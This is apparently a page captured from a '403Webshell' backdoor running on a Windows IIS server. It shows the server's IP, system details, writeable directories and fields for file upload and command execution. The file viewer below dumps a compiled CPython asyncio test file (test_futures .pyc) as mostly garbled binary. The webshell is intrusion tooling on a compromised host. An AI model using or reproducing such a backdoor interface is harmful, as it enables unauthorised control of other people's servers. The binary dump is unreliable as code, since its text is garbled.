403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/test_asyncio/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/test_asyncio/__pycache__/test_futures.cpython-313.opt-2.pyc
�

��i��� �SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKJr SSK	J
r
 SSKrSSKJr SSK
r
SSKJr SSKJr SrSrS	rS
r"SS\5r"S
S\R2R45r"SS5r"SS\R:5r"SS5r\R@"\!"\S5S5"SS\\R:55r"\R@"\!"\S5S5"SS\\R:55r#"SS\\R:5r$"SS5r%\R@"\!"\S5S5"SS \%\R:55r&\R@"\!"\S5S5"S!S"\%\R:55r'"S#S$\%\R:5r("S%S&5r)"S'S(\)\R:5r*\R@"\!"\S5S5"S)S*\)\R:55r+\,S+:Xa\RZ"5 gg),�N)�mock)�GenericAlias)�futures)�utils)�supportc�0�[R"S5 g�N)�asyncio�set_event_loop_policy���3C:\Python313\\Lib\test\test_asyncio\test_futures.py�tearDownModulers���!�!�$�'r
c��U$r	r��fs r�	_fakefuncrs���Hr
c��gr	rrr
r�first_cbr���r
c��gr	rrr
r�last_cbrrr
c��\rSrSrSrg)�
ReachableCode�#rN��__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__rr
rrr#s��r
rc� �\rSrSrSrSrSrg)�SimpleEvilEventLoop�*c��g�NFr��selfs r�	get_debug�SimpleEvilEventLoop.get_debug-s��r
c�|�UR5(d'UR5(dUR5 gggr	)�	is_closed�
is_running�closer's r�__del__�SimpleEvilEventLoop.__del__0s,���~�~������(9�(9��J�J�L�):�r
rN)rrrr r)r/r!rr
rr#r#*s���r
r#c�T�\rSrSrSrSrSrSrSrSr	Sr
SrSrS	r
S
rSrSrg)
�
DuckFuture�6FNc�>�UR5(agSUlg)NFT)�done�_DuckFuture__cancelledr's r�cancel�DuckFuture.cancel?s���9�9�;�;�����r
c��UR$r	)r6r's r�	cancelled�DuckFuture.cancelledEs�����r
c�n�UR=(d# URSL=(d URSL$r	)r6�_DuckFuture__result�_DuckFuture__exceptionr's rr5�DuckFuture.doneHs4��� � �0��=�=��,�0��#�#�4�/�	1r
c��URUR55 URbUReUR$r	)�assertFalser:r>r=r's r�result�DuckFuture.resultMs9��������)�*����'��"�"�"��}�}�r
c�X�URUR55 UR$r	)rAr:r>r's r�	exception�DuckFuture.exceptionSs#��������)�*����r
c�p�URUR55 URU5 Xlgr	)rAr5�assertIsNotNoner=)r(rBs  r�
set_result�DuckFuture.set_resultWs)���������%����V�$��
r
c�p�URUR55 URU5 Xlgr	)rAr5rHr>)r(rEs  r�
set_exception�DuckFuture.set_exception\s*���������%����Y�'�$�r
c#�# �UR5(dSUlUv� URUR55 UR5$7f�NT)r5�_asyncio_future_blocking�
assertTruerBr's r�__iter__�DuckFuture.__iter__as;����y�y�{�{�,0�D�)��J�����	�	��$��{�{�}��s�AA)�__cancelled�__exception�__resultrP)rrrr rPr6r=r>r7r:r5rBrErIrLrRr!rr
rr2r26sA�� %���K��H��K�� �1�
� ��
%�
r
r2c�4^�\rSrSrU4SjrSrSrSrU=r$)�	DuckTests�ic�>�[TU]5 UR5UlUR	URR
5 gr	��super�setUp�
new_test_loop�loop�
addCleanupr.�r(�	__class__s �rr]�DuckTests.setUpk�0���
��
���&�&�(��	�����	�	���(r
c�f�[5n[R"U5nURX!5 gr	)r2r
�wrap_future�assertIs�r(r�gs   r�test_wrap_future�DuckTests.test_wrap_futureps%���L������"���
�
�a�r
c�f�[5n[R"U5nURX!5 gr	)r2r
�
ensure_futurergrhs   r�test_ensure_future�DuckTests.test_ensure_futureus%���L���!�!�!�$���
�
�a�r
�r_)	rrrr r]rjrnr!�
__classcell__�rbs@rrXrXis���)�
�
�r
rXc�^�\rSrSrSrU4SjrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrSr\4SjrSrSrSrSrSrSrSr\R:"S5S5r\R:"S5S5r\R:"S5S5r \R:"S5S5r!\R:"S5S5r"\R:"S5S5r#\R:"S5S 5r$S!r%S"r&S#r'S$r(S%r)S&r*S'r+S(r,\R:"S5S)5r-S*r.S+r/S,r0S-r1S.r2S/r3S0r4S1r5S2r6U=r7$)3�BaseFutureTests�{c�&�UR"U0UD6$r	)�cls�r(�args�kwargss   r�_new_future�BaseFutureTests._new_future}s���x�x��(��(�(r
c�>�[TU]5 UR5UlUR	URR
5 gr	r[ras �rr]�BaseFutureTests.setUp�rdr
c��UR[nURUR[45 UR	U[
5 gr	)rw�str�assertEqual�__args__�assertIsInstancer)r(�futures  r�test_generic_alias�"BaseFutureTests.test_generic_alias�s5�����#���������3�&�1����f�l�3r
c	���"SS5nUR[R"U55 UR[R"U"555 UR[R"S55 UR[R"[R
"555 UR
URS9nUR[R"U55 UR[R"[U555 UR[R"[R
"[U5555 UR5 g)Nc��\rSrSrSrSrSrg)�/BaseFutureTests.test_isfuture.<locals>.MyFuture�Nc��SUlgr&�rPr's r�__init__�8BaseFutureTests.test_isfuture.<locals>.MyFuture.__init__�s
��05��-r
r�)rrrr rPr�r!rr
r�MyFuturer��s
��'+�$�
6r
r��rp)
rAr
�isfuturerQr�Mockr{r_�typer7)r(r�rs   r�
test_isfuture�BaseFutureTests.test_isfuture�s���	6�	6�	
����)�)�(�3�4�����(�(���4�5�����)�)�!�,�-�	
����)�)�$�)�)�+�6�7����$�)�)��,������(�(��+�,�����)�)�$�q�'�2�3�	
����(�(����4��7�);�<�=�	���
r
c��URURS9nURUR55 URUR	55 UR5 UR
UR55 g�Nrp)r{r_rAr:r5r7rQ�r(rs  r�test_initial_state�"BaseFutureTests.test_initial_state�s\�����$�)�)��,���������'��������"�	���
�������
�&r
c��UR[S5 UR5 SSS5 g!,(df   g=f)N�no current event loop)�assertRaisesRegex�RuntimeErrorr{r's r�test_constructor_without_loop�-BaseFutureTests.test_constructor_without_loop�s,��
�
#�
#�L�2I�
J�����K�
J�
J�s�1�
?c��^�U4SjnTRRU"55nTRURTR5 TRUR	5TR5 g)Nc��,># �TR5$7fr	)r{r's�r�test�?BaseFutureTests.test_constructor_use_running_loop.<locals>.test�s�����#�#�%�%�s�)r_�run_until_completerg�_loop�get_loop)r(r�rs`  r�!test_constructor_use_running_loop�1BaseFutureTests.test_constructor_use_running_loop�sL���	&��I�I�(�(���0���
�
�a�g�g�t�y�y�)��
�
�a�j�j�l�D�I�I�.r
c�D�[R"UR5 UR[RS5 UR	5nURURUR5 URUR5UR5 gr	)r
�set_event_loopr_r`r{rgr�r�r�s  r� test_constructor_use_global_loop�0BaseFutureTests.test_constructor_use_global_loop�sd�����t�y�y�)�����.�.��5�������
�
�a�g�g�t�y�y�)��
�
�a�j�j�l�D�I�I�.r
c�F�UR[URS5 g)Nr$)�assertRaises�	TypeErrorr{r's r�test_constructor_positional�+BaseFutureTests.test_constructor_positional�s�����)�T�%5�%5�r�:r
c��URRURURS9nUR[R
UR5 URRURURS9nUR[R
UR5 URRURURS9nUR[[45 URS5 SSS5 URRURURS9nUR[[45 UR[5 SSS5 URRURURS9nUR[[45 UR5 SSS5 URRURURS9nUR[[45 URS5 SSS5 URRURURS9nUR[[45 URS5 SSS5 URRURURS9n[!U5 URRURURS9nUR#5 URRURURS9n[%U5 URRURURS9nUR'UR)55 UR'UR+55 g!,(df   GN�=f!,(df   GNk=f!,(df   GN=f!,(df   GN�=f!,(df   GNw=f![[4a GNSf=f![a GN%f=f![a N�f=f)Nrpc��gr	rrs r�<lambda>�4BaseFutureTests.test_uninitialized.<locals>.<lambda>�s��Dr
c��gr	rrs rr�r��s��tr
)rw�__new__r_r�r
�InvalidStateErrorrBrEr��AttributeErrorrIrL�	Exceptionr7�add_done_callback�remove_done_callback�repr�	__await__�iterrAr:r5�r(�futs  r�test_uninitialized�"BaseFutureTests.test_uninitialized�s$���h�h���t�x�x�d�i�i��8�����'�3�3�S�Z�Z�@��h�h���t�x�x�d�i�i��8�����'�3�3�S�]�]�C��h�h���t�x�x�d�i�i��8��
�
�
��n�=�
>��N�N�4� �?��h�h���t�x�x�d�i�i��8��
�
�
��n�=�
>����i�(�?��h�h���t�x�x�d�i�i��8��
�
�
��n�=�
>��J�J�L�?��h�h���t�x�x�d�i�i��8��
�
�
��n�=�
>��!�!�.�1�?��h�h���t�x�x�d�i�i��8��
�
�
��n�=�
>��$�$�^�4�?��h�h���t�x�x�d�i�i��8��	���I��h�h���t�x�x�d�i�i��8��	��M�M�O��h�h���t�x�x�d�i�i��8��	���I��h�h���t�x�x�d�i�i��8���������)��������$�O?�
>��?�
>��?�
>��?�
>��?�
>���n�-�	��	���	��	���	��	�sr�:O�O�O)�&O;�
P
�P�P6�
Q�
O�
O&�)
O8�;
P
�
P�P3�2P3�6
Q�Q�
Q�Qc��URURS9nUR[US55 UR	UR
S5 UR
S5 UR[R5 URRU5 SSS5 UR	UR
S5 g!,(df   N+=f)Nrp�_cancel_message�
my message)r{r_rQ�hasattrr�r�r7r�r
�CancelledErrorr�r�s  r�!test_future_cancel_message_getter�1BaseFutureTests.test_future_cancel_message_getter�s������$�)�)��,�������#4�5�6�����*�*�D�1�	�����
�
�
�w�5�5�
6��I�I�(�(��+�7�����*�*�L�9�7�
6�s�C�
Cc�~�URURS9nURS5 SUlUR	URS5 UR[R5 URRU5 SSS5 UR	URS5 g!,(df   N+=f)Nrpr�zmy new message)	r{r_r7r�r�r�r
r�r�r�s  r�!test_future_cancel_message_setter�1BaseFutureTests.test_future_cancel_message_setter�s������$�)�)��,��	�����,�������*�*�,<�=��
�
�w�5�5�
6��I�I�(�(��+�7�����*�*�,<�=�7�
6�s�-B.�.
B<c��URURS9nURUR55 URUR	55 URUR55 UR
[RUR5 UR
[RUR5 UR
[RURS5 UR
[RURS5 URUR55 gr�)r{r_rQr7r:r5r�r
r�rBrEr�rIrLrAr�s  r�test_cancel�BaseFutureTests.test_cancels������$�)�)��,��������
�#�������
�&��������!����'�0�0�!�(�(�;����'�0�0�!�+�+�>����'�3�3�Q�\�\�4�H����'�3�3�Q�_�_�d�K��������$r
c��URURS9nUR[RUR
5 UR
S5 URUR55 URUR55 URUR5S5 URUR5S5 UR[RURS5 UR[RURS5 URUR55 g�Nrpr$)r{r_r�r
r�rBrIrAr:rQr5r�rErLr7r�s  r�test_result�BaseFutureTests.test_results������$�)�)��,�����'�3�3�Q�X�X�>�	���R���������'��������!��������R�(���������-����'�3�3�Q�\�\�4�H����'�3�3�Q�_�_�d�K��������$r
c��[5nURURS9nUR[R
UR5 URU5 URUR55 URUR55 UR[UR5 URUR
5U5 UR[R
URS5 UR[R
URS5 URUR55 gr�)r�r{r_r�r
r�rErLrAr:rQr5rBr�rIr7)r(�excrs   r�test_exception�BaseFutureTests.test_exception s����n�����$�)�)��,�����'�3�3�Q�[�[�A�	������������'��������!����,����1���������,����'�3�3�Q�\�\�4�H����'�3�3�Q�_�_�d�K��������$r
c���U"5nURURS9nURU5 URUR	55 URUR
55 UR[UR5 UR5nURnURU[5 UR[U5S5 URXA5 g)Nrpz!StopIteration .* cannot be raised)r{r_rLrAr:rQr5r�r�rBrE�	__cause__r��assertRegexr�)r(�stop_iteration_classr�r�causes     r�test_stop_iteration_exception�-BaseFutureTests.test_stop_iteration_exception.s���"�$�����$�)�)��,��	������������'��������!����,����1��k�k�m���
�
�����c�<�0�����S��#F�G����e�:r
c�D�"SS[5nURU5 g)Nc��\rSrSrSrg)�OBaseFutureTests.test_stop_iteration_subclass_exception.<locals>.MyStopIterationi<rNrrr
r�MyStopIterationr�<���r
r�)�
StopIterationr�)r(r�s  r�&test_stop_iteration_subclass_exception�6BaseFutureTests.test_stop_iteration_subclass_exception;s��	�m�	�	
�*�*�?�;r
c��URURS9nUR[5 UR	UR5[5 gr�)r{r_rLr�r�rEr�s  r�test_exception_class�$BaseFutureTests.test_exception_classAs;�����$�)�)��,��	����%����a�k�k�m�\�:r
c�L^�URURS9mU4SjnU"5nUR[U5S5 UR[U5T5 TR	S5 UR[U5S5 UR[U5S5 g)Nrpc3�^># �Sv� TShv�NnSU4v� TShv�NnSU4v� gNN
7f)N�A�B�Cr)�x�yrs  �r�fixture�6BaseFutureTests.test_yield_from_twice.<locals>.fixtureIs3�����I���A��q�&�L���A��q�&�L���s�
-�)�-�+�-�-r�r$)r�r$)r�r$)r{r_r��nextrI)r(r�rirs   @r�test_yield_from_twice�%BaseFutureTests.test_yield_from_twiceFs�������$�)�)��,��	�
�I������a��#�&�����a��!�$�	���R������a��)�,�����a��)�,r
c
�T	�URRS5 URURS9nURSnUR	[U5SURRSUSSUSS	35 UR5 URRS
5 URURS9nUR	[U5SURRS35 UR5 URURS9nUR5 UR	[U5SURRS35 URURS9nURS
5 UR	[U5SURRS35 UR	UR5S
5 [5nURURS9nURU5 UR	[U5SURRS35 URUR5U5 SnURURS9n	U	R[ 5 U"[ 5n
UR#[U	5SURR-SU
--5 U	R5 UR	[U	5SURRS35 URURS9nUR[$5 UR[&5 U"[$5nU"[&5n
UR#[U5SURR-SU<SU
<S3-5 URURS9nUR[$5 [)S5HnUR[ 5 M UR[&5 U<SU
<3nUR#[U5SURR-SU--5 UR5 UR	[U5SURRS35 g)NTrp����<z pending created at r�:r��>Fz	 pending>z cancelled>�z finished result=4>z# finished exception=RuntimeError()>c��[R"U5upUR<SU<SU<3n[R"U5$)Nz() at r�)�
test_utils�get_function_sourcer�re�escape)�func�filename�lineno�texts    r�	func_repr�3BaseFutureTests.test_future_repr.<locals>.func_reprxs5��)�=�=�d�C��H�&*�&7�&7��6�J�D��9�9�T�?�"r
z pending cb=\[%s\]>z pending cb=\[z, z\]>�z, <8 more>, )r_�	set_debugr{�_source_tracebackr�r�rwrr7rIrBr�rLrgrEr�rr�rr�range)r(�f_pending_debug�frame�	f_pending�f_cancelled�f_resultr��f_exceptionr�f_one_callbacks�	fake_repr�f_two_callbacks�
first_repr�	last_repr�f_many_callbacks�i�cb_regexs                 r�test_future_repr� BaseFutureTests.test_future_reprXs���	�	���D�!��*�*��	�	�*�:���1�1�"�5�������!�����!�!�"�"6�u�Q�x�j��%��(��1�M�	O�	��� ��	�	���E�"��$�$�$�)�)�$�4�	�����i��A�d�h�h�.?�.?�-@�	�*J�K������&�&�D�I�I�&�6����������k�*�a����0A�0A�/B�+�,N�O��#�#����#�3�����A�������N�a���� 1� 1�2�2E�F�	H�������*�A�.��n���&�&�D�I�I�&�6���!�!�#�&�����������!�!�"�"E�F�	H�	
�
�
�k�+�+�-�s�3�	#�
�*�*��	�	�*�:���)�)�)�4��i�(�	������!��4�8�8�$�$�$�'=�	�'I�I�	K�	��� �����o�.��T�X�X�.�.�/�{�;�	=��*�*��	�	�*�:���)�)�(�3��)�)�'�2��x�(�
��g�&�	�����o�.����� 1� 1�1�&�	�53�3�	4� �+�+����+�;���*�*�8�4��q��A��.�.�y�9���*�*�7�3�*4�i�@������!�"��4�8�8�$�$�$�'=��'H�H�	J�	���!�����.�/��T�X�X�.�.�/�{�;�	=r
c�L�SSKJn URURS9nUR	S5 URURS9nU"X#5 URUR
55 URUR5S5 URURS9nUR[55 URURS9nU"XE5 URUR
55 UR[UR5 URURS9nUR5 URURS9nU"Xg5 URUR55 [RR e!["anUn	SnAOSnAff=fURURS9n
U
RU	5 URURS9nU"X�5 URUR
55 UR5 O!["anUnSnAOSnAff=fSR%[&R("WR*55n
URU
R-S5S5 g)Nr)�_copy_future_staterp�
�z*raise concurrent.futures.InvalidStateErrorr�)�asyncio.futuresrr{r_rIrQr5r�rBrLr�r�r7r:�
concurrentrr��
BaseException�join�	traceback�	format_tb�
__traceback__�count)r(rr�newfr�newf_exceptionr�newf_cancelled�e�f_exc�f_conexc�newf_conexc�newf_exc�newf_tbs              r�test_copy_state�BaseFutureTests.test_copy_state�s��6����$�)�)��,��	���R�����T�Y�Y��/���1�#�����	�	��$���������+��&�&�D�I�I�&�6���!�!�,�.�1��)�)�t�y�y�)�9���;�7�����+�+�-�.����,��(=�(=�>��&�&�D�I�I�&�6�������)�)�t�y�y�)�9���;�7�����0�0�2�3�	��$�$�6�6�6���	��E��	���#�#����#�3�����u�%��&�&�D�I�I�&�6���8�1�����(�(�*�+�	���� ���	��H��	���'�'�)�-�-�h�.D�.D�E�F��������'S�T�VW�Xs0�
F'�'
F=�1F8�8F=�+H<�<
I�I
�
Ic��^^�URURS9mU4SjmU4SjnUR[S5 U"5 SSS5 TR	5 g!,(df   N=f)Nrpc3�&># �TShv�N gN7fr	r�r�s�r�coro�'BaseFutureTests.test_iter.<locals>.coro�s
�����N�N�s���c�>�T"5upgr	r)�arg1�arg2r7s  �rr��'BaseFutureTests.test_iter.<locals>.test�s�����J�D�$r
zawait wasn't used)r{r_r�r�r7)r(r�r7r�s  @@r�	test_iter�BaseFutureTests.test_iter�sU������D�I�I��.��	�	 ��
#�
#�L�2E�
F��F�G��
�
��G�
F�s�A�
A-c��URURS9nUR[S5 SUlSSS5 g!,(df   g=f)Nrpzcan only be set to FalseT)r{r_r��
ValueError�_log_tracebackr�s  r�test_log_traceback�"BaseFutureTests.test_log_traceback�s?�����D�I�I��.��
�
#�
#�J�0J�
K�!%�C��L�
K�
K�s�A�
Azasyncio.base_events.loggerc��URURS9nAURURR5 gr�)r{r_rA�error�called�r(�m_logr�s   r�test_tb_logger_abandoned�(BaseFutureTests.test_tb_logger_abandoned�s4�����D�I�I��.���������+�+�,r
c���URURS9nUR[55 UR	5 AURURR5 gr�)r{r_rLr�r7rArErFrGs   r�&test_tb_logger_not_called_after_cancel�6BaseFutureTests.test_tb_logger_not_called_after_cancel�sM�����D�I�I��.�����)�+�&��
�
���������+�+�,r
c��URURS9nURS5 AURURR
5 gr�)r{r_rIrArErFrGs   r�!test_tb_logger_result_unretrieved�1BaseFutureTests.test_tb_logger_result_unretrieved�s@�����D�I�I��.�����r���������+�+�,r
c���URURS9nURS5 UR5 AUR	UR
R5 gr�)r{r_rIrBrArErFrGs   r�test_tb_logger_result_retrieved�/BaseFutureTests.test_tb_logger_result_retrieved�sI�����D�I�I��.�����r���
�
���������+�+�,r
c� �URURS9nUR[S55 A[R
"UR5 [R"5 URURR5 g�Nrp�boom)r{r_rLr�r��run_brieflyr�
gc_collectrQrErFrGs   r�$test_tb_logger_exception_unretrieved�4BaseFutureTests.test_tb_logger_exception_unretrieved�sc�����D�I�I��.�����,�v�.�/�����t�y�y�)�����������*�*�+r
c���URURS9nUR[S55 UR	5 AURURR5 grU)r{r_rLr�rErArErFrGs   r�"test_tb_logger_exception_retrieved�2BaseFutureTests.test_tb_logger_exception_retrievedsP�����D�I�I��.�����,�v�.�/��
�
���������+�+�,r
c��URURS9nUR[S55 UR	[UR
5 AUR
URR5 grU)	r{r_rLr�r�rBrArErFrGs   r�)test_tb_logger_exception_result_retrieved�9BaseFutureTests.test_tb_logger_exception_result_retrieved	s[�����D�I�I��.�����,�v�.�/����,��
�
�3��������+�+�,r
c��Sn[RRS5nURUS5n[R
"X0RS9nURRU5upVUR[R"U55 URUS5 URU[R"55 URSS9 g)Nc�0�U[R"54$r	��	threading�	get_ident��args r�run�-BaseFutureTests.test_wrap_future.<locals>.run�����,�,�.�/�/r
r��oirpT��wait)r"r�ThreadPoolExecutor�submitr
rfr_r�rQr�r��assertNotEqualrdre�shutdown)r(rh�ex�f1�f2�res�idents       rrj� BaseFutureTests.test_wrap_futures���	0�
�
�
�
2�
2�1�
5��
�Y�Y�s�D�
!��
�
 �
 ��)�)�
4���Y�Y�1�1�"�5�
������(�(��,�-�����d�#����E�9�#6�#6�#8�9�
�����r
c��URURS9n[R"U5nUR	X5 gr�)r{r_r
rfrg�r(rsrts   r�test_wrap_future_future�'BaseFutureTests.test_wrap_future_futures5��
�
�
�4�9�9�
�
-��
�
 �
 ��
$���
�
�b�r
c��Sn[RRS5nURUS5nUR	[
S5 [R"U5 SSS5 URSS9 g!,(df   N=f)Nc�0�U[R"54$r	rcrfs rrh�:BaseFutureTests.test_wrap_future_without_loop.<locals>.run$rjr
r�rkr�Trl)	r"rrnror�r�r
rfrq)r(rhrrrss    r�test_wrap_future_without_loop�-BaseFutureTests.test_wrap_future_without_loop#sj��	0�
�
�
�
2�
2�1�
5��
�Y�Y�s�D�
!��
�
#�
#�L�2I�
J�����#�K�
������K�
J�s�A:�:
Bc�$^�Sn[RRS5nURUS5mU4SjnURRU"55nUR
URUR5 URSS9 g)Nc�0�U[R"54$r	rcrfs rrh�>BaseFutureTests.test_wrap_future_use_running_loop.<locals>.run-rjr
r�rkc��8># �[R"T5$7fr	)r
rf)rss�rr��?BaseFutureTests.test_wrap_future_use_running_loop.<locals>.test1s�����&�&�r�*�*�s�Trl)	r"rrnror_r�rgr�rq)r(rhrrr�rtrss     @r�!test_wrap_future_use_running_loop�1BaseFutureTests.test_wrap_future_use_running_loop,sm���	0�
�
�
�
2�
2�1�
5��
�Y�Y�s�D�
!��	+�
�Y�Y�
)�
)�$�&�
1���
�
�d�i�i����*�
�����r
c��[R"UR5 UR[RS5 Sn[R
R
S5nURUS5n[R"U5nURURUR5 URSS9 g)Nc�0�U[R"54$r	rcrfs rrh�=BaseFutureTests.test_wrap_future_use_global_loop.<locals>.run;rjr
r�rkTrl)r
r�r_r`r"rrnrorfrgr�rq)r(rhrrrsrts     r� test_wrap_future_use_global_loop�0BaseFutureTests.test_wrap_future_use_global_loop7s������t�y�y�)�����.�.��5�	0�
�
�
�
2�
2�1�
5��
�Y�Y�s�D�
!��
�
 �
 ��
$���
�
�d�i�i����*�
�����r
c�X�[RR5n[R"XR
S9nUR
5 [R"UR
5 URUR55 URUR55 gr�)r"r�Futurer
rfr_r7r�rWrQr:rys   r�test_wrap_future_cancel�'BaseFutureTests.test_wrap_future_cancelCsi��
�
�
�
&�
&�
(��
�
 �
 ��)�)�
4��
�	�	�����t�y�y�)��������'��������'r
c��[RR5n[R"XR
S9nUR
S5 UR5 [R"UR
5 URUR55 URUR5S5 URUR55 gr�)r"rr�r
rfr_rIr7r�rWrAr:r�rBrQrys   r�test_wrap_future_cancel2�(BaseFutureTests.test_wrap_future_cancel2Ks���
�
�
�
&�
&�
(��
�
 �
 ��)�)�
4��
�
�
�b��
�	�	�����t�y�y�)��������(��������b�)��������'r
c�B�URRS5 URURS9n[R"5R
S-
nUR
UR[5 URURSSS[US45 g)NTrpr������test_future_source_traceback)r_r
r{�sys�	_getframe�f_linenor�r�listr��__file__)r(r�rs   rr��,BaseFutureTests.test_future_source_tracebackUs����	�	���D�!��!�!�t�y�y�!�1������)�)�A�-�����f�6�6��=�����1�1�"�5�b�q�9�"� �8�:�	;r
c�d�URRU5 SnU"5nURURS9nURU5 Sn[R
"UR5 [R"5 SURRS3n[U5XDR4nURR[RUS9 URR SSnUR#U[$R&"U[$R(55 g)Nc�J�[5e![anUsSnA$SnAff=fr	)�MemoryErrorr#)r�s r�memory_error�LBaseFutureTests.check_future_exception_never_retrieved.<locals>.memory_errords$��
�!�m�#�� �
��
��
�s�
�
"��"�"rp�^z exception was never retrieved
)�exc_infor)r_r
r{rLr�rWrrXrwrr�r'rE�assert_called_once_withr�ANY�	call_argsr�r�compile�DOTALL)	r(�debugrHr�r�r��regexr��messages	         r�&check_future_exception_never_retrieved�6BaseFutureTests.check_future_exception_never_retrieved`s����	�	���E�"�	�
�n���!�!�t�y�y�!�1�����S�!������t�y�y�)������D�H�H�%�%�&�&F�G����I�s�$5�$5�6��
���+�+�D�H�H�x�+�H��+�+�'�'��*�1�-������"�*�*�U�B�I�I�">�?r
c�&�URS5 gr&�r�r's r�%test_future_exception_never_retrieved�5BaseFutureTests.test_future_exception_never_retrievedxs���3�3�E�:r
c�&�URS5 grOr�r's r�+test_future_exception_never_retrieved_debug�;BaseFutureTests.test_future_exception_never_retrieved_debug{s���3�3�D�9r
c���URURS9nUR5 [R"US5 URUR
55 g)Nrp�)r{r_r7r�_set_result_unless_cancelledrQr:r�s  r� test_set_result_unless_cancelled�0BaseFutureTests.test_set_result_unless_cancelled~sD�����D�I�I��.���
�
���,�,�S�!�4�����
�
��(r
c�2�URURS9nURS5 UR5nSnUR	S5 URS5 URUS5 g![anURSnSnAN1SnAff=f)Nrp)r�r�zStopIteration was expectedr)	r{r_rIrR�send�failr�ryr�)r(r��firBrrs     r�test_future_stop_iteration_args�/BaseFutureTests.test_future_stop_iteration_args�s������D�I�I��.�����v��
�\�\�^����	4��G�G�D�M�
�I�I�2�3������(��	�	 ��W�W�Q�Z�F��	 �s�A3�3
B�=B�Bc	��URURS9n[U5nUR[5 UR[UR[[
S5S5 SSS5 [R"5 [R"S[S9 UR[UR[[
S5S5 UR[UR[
S5[
S55 UR[UR[SS5 SSS5 UR[UR[5 g!,(df   N�=f!,(df   NE=f)Nrp�zebra�ignore)�category�elephant� )r{r_r��assertWarns�DeprecationWarningr�r��throw�warnings�catch_warnings�filterwarningsr�r@r�)r(r�r�s   r�test_future_iter_throw�&BaseFutureTests.test_future_iter_throw�s�����D�I�I��.��
�#�Y��
�
�
�0�
1����i����9�i��>P�RV�W�2�
�
$�
$�
&��#�#�H�7I�J����i����%�y��'<�b�
B����i����%�j�1�9�Z�3H�
J�
���j�"�(�(�J��d�K�'�	
���)�R�X�X�t�4�2�
1��
&�
&�s�1E�B%E,�
E)�,
E:c��"SS5n[S5H2nURURS9nURU"55 M4 g)Nc��\rSrSrSrSrg)�5BaseFutureTests.test_future_del_collect.<locals>.Evili�c�.�[R"5 gr	)�gc�collectr's rr/�=BaseFutureTests.test_future_del_collect.<locals>.Evil.__del__�s���
�
�r
rN)rrrr r/r!rr
r�Evilr��s��
r
r��drp)rr{r_rI)r(r�rr�s    r�test_future_del_collect�'BaseFutureTests.test_future_del_collect�sA��	�	��s��A��"�"��	�	�"�2�C��N�N�4�6�"�r
c�0�URURS9nUR5 SnUR5 UR
U5 UR[R"U5/5 g![R
anUnSnANSSnAff=fr�)
r{r_r7rBr
r�rH�assertListEqualr��
get_referrers�r(rr�r,s    r�&test_future_cancelled_result_refcycles�6BaseFutureTests.test_future_cancelled_result_refcycles�s}�����$�)�)��,��	���
���	�
�H�H�J�	
���S�!����R�-�-�c�2�B�7���%�%�	��C��	���A5�5B�	B�Bc�0�URURS9nUR5 SnUR5 UR
U5 UR[R"U5/5 g![R
anUnSnANSSnAff=fr�)
r{r_r7rEr
r�rHr�r�r�r�s    r�)test_future_cancelled_exception_refcycles�9BaseFutureTests.test_future_cancelled_exception_refcycles�s}�����$�)�)��,��	���
���	�
�K�K�M�	
���S�!����R�-�-�c�2�B�7���%�%�	��C��	�r�rp)8rrrr r{r]r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rr2r=rBr�patchrIrLrOrRrYr\r_rjrzrr�r�r�r�r�r�r�r�r�r�r�r�r�r�r!rqrrs@rrtrt{s����)�)�
4�
�.'��/�/�;�2%�h:�	>�	%�%�%�BO�;�<�;�
-�$C=�J*Y�X�&�

�Z�Z�,�-�-�.�-�

�Z�Z�,�-�-�.�-�
�Z�Z�,�-�-�.�-�
�Z�Z�,�-�-�.�-�
�Z�Z�,�-�,�.�,�
�Z�Z�,�-�-�.�-�
�Z�Z�,�-�-�.�-���
�	�
�(�(�	;�
�Z�Z�,�-�@�.�@�.;�:�)�)�
5�#�	8�	8�	8r
rt�_CFuturezrequires the C _asyncio modulec�\�\rSrSr\R
rSrSr	Sr
Srg!\a SrNf=f)�CFutureTestsi�Nc��URURS9nUR[5 U?SSS5 UR[5 U?SSS5 g!,(df   N/=f!,(df   g=fr�)r{r_r�r�rPrAr�s  r�test_future_del_segfault�%CFutureTests.test_future_del_segfault�s^�����D�I�I��.��
�
�
�~�
.��,�/�
�
�
�~�
.��"�/�
.�/�
.��
.�
.�s�A�A,�
A)�,
A:c��SSKn[URURS95nA[R
"U5n[R"5 g)Nrrp)�_asyncior�r{r_r��
get_referentsr�)r(r��it�evils    r�'test_future_iter_get_referents_segfault�4CFutureTests.test_future_iter_get_referents_segfault�s=���
�$�"�"��	�	�"�2�
3�������)��
�
�
�r
c��URURS9nSnSnURU5 URU5 URnUR	XAR5 URU5 URnUR	XAR5 URU5 UR
UR5 g)Nrpc��g)Nr�r��_s rr��2CFutureTests.test_callbacks_copy.<locals>.<lambda>����qr
c��g)Nr�rr�s rr�r��r�r
)r{r_r��
_callbacks�assertIsNotr��assertIsNone)r(r�rsrt�	callbackss     r�test_callbacks_copy� CFutureTests.test_callbacks_copy�s���
���D�I�I��.��
��
�����b�!����b�!��N�N�	�����N�N�3�� � ��$��N�N�	�����N�N�3�� � ��$����#�.�.�)r
r)rrrr rr�rwr�r�r�r�r!rr
rr�r��s7�������#��*��%�����s� �+�+r�c�d�\rSrSr"SS\R
5r\rSr	g!\a SrSr	gf=f)�CSubFutureTestsi�c��\rSrSrSrg)�CSubFutureTests.CSubFuturei�rNrrr
r�
CSubFuturer�r�r
rNr)
rrrr rr�rrwr�r!rr
rrr�s4���	��)�)�	���������s�"�/�/rc�,�\rSrSr\R
rSrg)�
PyFutureTestsi�rN)rrrr r�	_PyFuturerwr!rr
rrr�s
��
�
�
�Cr
rc�^�\rSrSrU4SjrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrSrSrSrSrSrU=r$)�BaseFutureDoneCallbackTestsi�c�L>�[TU]5 UR5Ulgr	)r\r]r^r_ras �rr]�!BaseFutureDoneCallbackTests.setUp�s���
��
���&�&�(��	r
